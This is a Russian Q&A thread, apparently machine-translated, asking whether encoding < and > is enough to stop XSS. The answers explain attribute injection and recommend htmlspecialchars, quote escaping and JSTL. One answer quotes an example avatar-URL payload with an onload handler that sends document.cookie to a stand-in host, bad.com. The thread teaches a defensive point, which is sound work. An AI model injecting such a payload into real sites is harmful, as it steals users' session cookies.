Я хочу знать если entiting две отметки <
и >
достаточно должен предотвратить инъекции XSS?
И в противном случае почему? И каково лучшее решение?
Это очень зависит от контекста.
Проверьте этот пример, с типичного сайта форума ...
Вы можете Hotlink Your avatar Image. Введите полный URL.
Злоисный пользователь входит в поле ввода
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
. Там нет кодирования меньше, чем и больше, но все же большая безопасность.
С HTMLSPECialChars ()
, я обнаружил, что она была хорошей идеей, чтобы сделать (или использовать) функцию обертки ее, которая бросается к строке, обеспечивает более простой способ отключить двойную кодировку (при необходимости) и Чтобы убедиться, что он использует правильный набор символов вашего приложения. Кохана имеет отличный пример .
Вам следует также принять во внимание двойные кавычки "
, одинарные кавычки '
и амперсанды &
. Если вы делаете это все во время отображения / генерации вывода, тогда да, этого достаточно.
Вы должны только убедиться , что вы делаете это для любого пользователя - контролируемый ввод, такой как параметры запроса, URL-адрес запроса, заголовки запроса и управляемый пользователем ввод, который хранится в хранилище данных.
В PHP вы можете сделать это с помощью htmlspecialchars ()
, а в JSP можно сделайте это с помощью JSTL
.